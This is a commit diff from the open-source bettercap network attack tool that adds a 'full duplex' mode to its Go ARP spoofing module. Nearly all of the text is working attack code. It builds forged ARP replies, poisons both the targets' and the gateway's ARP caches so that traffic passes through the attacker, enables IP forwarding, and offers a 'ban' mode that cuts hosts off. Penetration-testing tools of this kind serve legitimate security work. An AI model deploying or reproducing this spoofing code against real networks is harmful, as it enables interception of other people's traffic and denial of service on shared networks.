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https://github.com/bettercap/bettercap
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new: implemented arp.spoof.fullduplex (closes #426)
This commit is contained in:
evilsocket
parent
0bb9acf033
commit
261789d592
1 changed files with 94 additions and 42 deletions
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@ -20,6 +20,7 @@ type ArpSpoofer struct {
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macs []net.HardwareAddr
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wAddresses []net.IP
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wMacs []net.HardwareAddr
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fullDuplex bool
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internal bool
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ban bool
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waitGroup *sync.WaitGroup
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@ -34,6 +35,7 @@ func NewArpSpoofer(s *session.Session) *ArpSpoofer {
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wMacs: make([]net.HardwareAddr, 0),
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ban: false,
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internal: false,
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fullDuplex: false,
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waitGroup: &sync.WaitGroup{},
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}
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@ -45,6 +47,10 @@ func NewArpSpoofer(s *session.Session) *ArpSpoofer {
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"false",
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"If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the external network."))
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p.AddParam(session.NewBoolParameter("arp.spoof.fullduplex",
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"false",
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"If true, both the targets and the gateway will be attacked, otherwise only the target (if the router has ARP spoofing protections in place this will make the attack fail)."))
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p.AddHandler(session.NewModuleHandler("arp.spoof on", "",
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"Start ARP spoofer.",
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func(args []string) error {
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@ -90,7 +96,9 @@ func (p *ArpSpoofer) Configure() error {
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var targets string
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var whitelist string
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if err, p.internal = p.BoolParam("arp.spoof.internal"); err != nil {
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if err, p.fullDuplex = p.BoolParam("arp.spoof.fullduplex"); err != nil {
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return err
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} else if err, p.internal = p.BoolParam("arp.spoof.internal"); err != nil {
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return err
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} else if err, targets = p.StringParam("arp.spoof.targets"); err != nil {
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return err
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@ -105,10 +113,10 @@ func (p *ArpSpoofer) Configure() error {
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log.Debug(" addresses=%v macs=%v whitelisted-addresses=%v whitelisted-macs=%v", p.addresses, p.macs, p.wAddresses, p.wMacs)
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if p.ban {
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log.Warning("Running in BAN mode, forwarding not enabled!")
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log.Warning("running in ban mode, forwarding not enabled!")
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p.Session.Firewall.EnableForwarding(false)
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} else if !p.Session.Firewall.IsForwardingEnabled() {
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log.Info("Enabling forwarding.")
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log.Info("enabling forwarding")
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p.Session.Firewall.EnableForwarding(true)
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}
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@ -129,9 +137,13 @@ func (p *ArpSpoofer) Start() error {
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neighbours = list.Expand()
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nNeigh := len(neighbours) - 2
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log.Warning("ARP spoofer started targeting %d possible network neighbours of %d targets.", nNeigh, nTargets)
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log.Warning("arp spoofer started targeting %d possible network neighbours of %d targets.", nNeigh, nTargets)
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} else {
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log.Info("ARP spoofer started, probing %d targets.", nTargets)
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log.Info("arp spoofer started, probing %d targets.", nTargets)
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}
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if p.fullDuplex {
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log.Warning("full duplex spoofing enabled, if the router has ARP spoofing mechanisms, the attack will fail.")
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}
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p.waitGroup.Add(1)
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@ -140,10 +152,10 @@ func (p *ArpSpoofer) Start() error {
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gwIP := p.Session.Gateway.IP
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myMAC := p.Session.Interface.HW
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for p.Running() {
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p.sendArp(gwIP, myMAC, true, false)
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p.arpSpoofTargets(gwIP, myMAC, true, false)
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for _, address := range neighbours {
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if !p.Session.Skip(address) {
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p.sendArp(address, myMAC, true, false)
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p.arpSpoofTargets(address, myMAC, true, false)
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}
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}
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@ -155,7 +167,7 @@ func (p *ArpSpoofer) Start() error {
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func (p *ArpSpoofer) unSpoof() error {
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nTargets := len(p.addresses) + len(p.macs)
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log.Info("restoring ARP cache of %d targets.", nTargets)
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p.sendArp(p.Session.Gateway.IP, p.Session.Gateway.HW, false, false)
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p.arpSpoofTargets(p.Session.Gateway.IP, p.Session.Gateway.HW, false, false)
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if p.internal {
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list, _ := iprange.ParseList(p.Session.Interface.CIDR())
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@ -163,7 +175,7 @@ func (p *ArpSpoofer) unSpoof() error {
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for _, address := range neighbours {
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if !p.Session.Skip(address) {
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if realMAC, err := p.Session.FindMAC(address, false); err == nil {
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p.sendArp(address, realMAC, false, false)
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p.arpSpoofTargets(address, realMAC, false, false)
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}
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}
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}
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@ -197,43 +209,56 @@ func (p *ArpSpoofer) isWhitelisted(ip string, mac net.HardwareAddr) bool {
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return false
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}
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func (p *ArpSpoofer) sendArp(saddr net.IP, smac net.HardwareAddr, check_running bool, probe bool) {
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func (p *ArpSpoofer) getTargets(probe bool) map[string]net.HardwareAddr {
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targets := make(map[string]net.HardwareAddr)
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// add targets specified by IP address
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for _, ip := range p.addresses {
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if p.Session.Skip(ip) {
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log.Debug("skipping IP %s from arp spoofing.", ip)
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continue
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}
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// do we have this ip mac address?
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if hw, err := p.Session.FindMAC(ip, probe); err != nil {
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log.Debug("could not find hardware address for %s", ip.String())
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} else {
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targets[ip.String()] = hw
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}
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}
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// add targets specified by MAC address
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for _, hw := range p.macs {
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if ip, err := network.ArpInverseLookup(p.Session.Interface.Name(), hw.String(), false); err != nil {
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log.Warning("could not find IP address for %s", hw.String())
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} else if p.Session.Skip(net.ParseIP(ip)) {
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log.Debug("skipping address %s from arp spoofing.", ip)
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} else {
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targets[ip] = hw
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}
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}
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return targets
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}
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func (p *ArpSpoofer) arpSpoofTargets(saddr net.IP, smac net.HardwareAddr, check_running bool, probe bool) {
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p.waitGroup.Add(1)
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defer p.waitGroup.Done()
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targets := make(map[string]net.HardwareAddr)
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for _, ip := range p.addresses {
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if p.Session.Skip(ip) {
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log.Debug("Skipping address %s from ARP spoofing.", ip)
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continue
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}
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gwIP := p.Session.Gateway.IP
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gwHW := p.Session.Gateway.HW
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ourHW := p.Session.Interface.HW
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isGW := false
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isSpoofing := false
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// do we have this ip mac address?
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hw, err := p.Session.FindMAC(ip, probe)
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if err != nil {
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log.Debug("Could not find hardware address for %s, retrying in one second.", ip.String())
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continue
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// are we spoofing the gateway IP?
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if bytes.Equal(saddr, gwIP) {
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isGW = true
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// are we restoring the original MAC of the gateway?
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if !bytes.Equal(smac, gwHW) {
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isSpoofing = true
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}
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targets[ip.String()] = hw
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}
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for _, hw := range p.macs {
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ip, err := network.ArpInverseLookup(p.Session.Interface.Name(), hw.String(), false)
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if err != nil {
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log.Warning("Could not find IP address for %s, retrying in one second.", hw.String())
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continue
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}
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if p.Session.Skip(net.ParseIP(ip)) {
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log.Debug("Skipping address %s from ARP spoofing.", ip)
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continue
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}
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targets[ip] = hw
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}
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for ip, mac := range targets {
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for ip, mac := range p.getTargets(probe) {
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if check_running && !p.Running() {
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return
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} else if p.isWhitelisted(ip, mac) {
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@ -243,11 +268,38 @@ func (p *ArpSpoofer) sendArp(saddr net.IP, smac net.HardwareAddr, check_running
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continue
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}
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if err, pkt := packets.NewARPReply(saddr, smac, net.ParseIP(ip), mac); err != nil {
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log.Error("Error while creating ARP spoof packet for %s: %s", ip, err)
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rawIP := net.ParseIP(ip)
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if err, pkt := packets.NewARPReply(saddr, smac, rawIP, mac); err != nil {
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log.Error("error while creating ARP spoof packet for %s: %s", ip, err)
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} else {
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log.Debug("Sending %d bytes of ARP packet to %s:%s.", len(pkt), ip, mac.String())
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log.Debug("sending %d bytes of ARP packet to %s:%s.", len(pkt), ip, mac.String())
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p.Session.Queue.Send(pkt)
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}
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if p.fullDuplex && isGW {
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err := error(nil)
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gwPacket := []byte(nil)
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if isSpoofing {
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log.Debug("telling the gw we are %s", ip)
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// we told the target we're te gateway, not let's tell the
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// gateway that we are the target
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if err, gwPacket = packets.NewARPReply(rawIP, ourHW, gwIP, gwHW); err != nil {
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log.Error("error while creating ARP spoof packet: %s", err)
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}
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} else {
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log.Debug("telling the gw %s is %s", ip, mac)
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// send the gateway the original MAC of the target
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if err, gwPacket = packets.NewARPReply(rawIP, mac, gwIP, gwHW); err != nil {
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log.Error("error while creating ARP spoof packet: %s", err)
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}
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}
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if gwPacket != nil {
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if err = p.Session.Queue.Send(gwPacket); err != nil {
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log.Error("error while sending packet: %v", err)
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}
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}
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}
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}
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}
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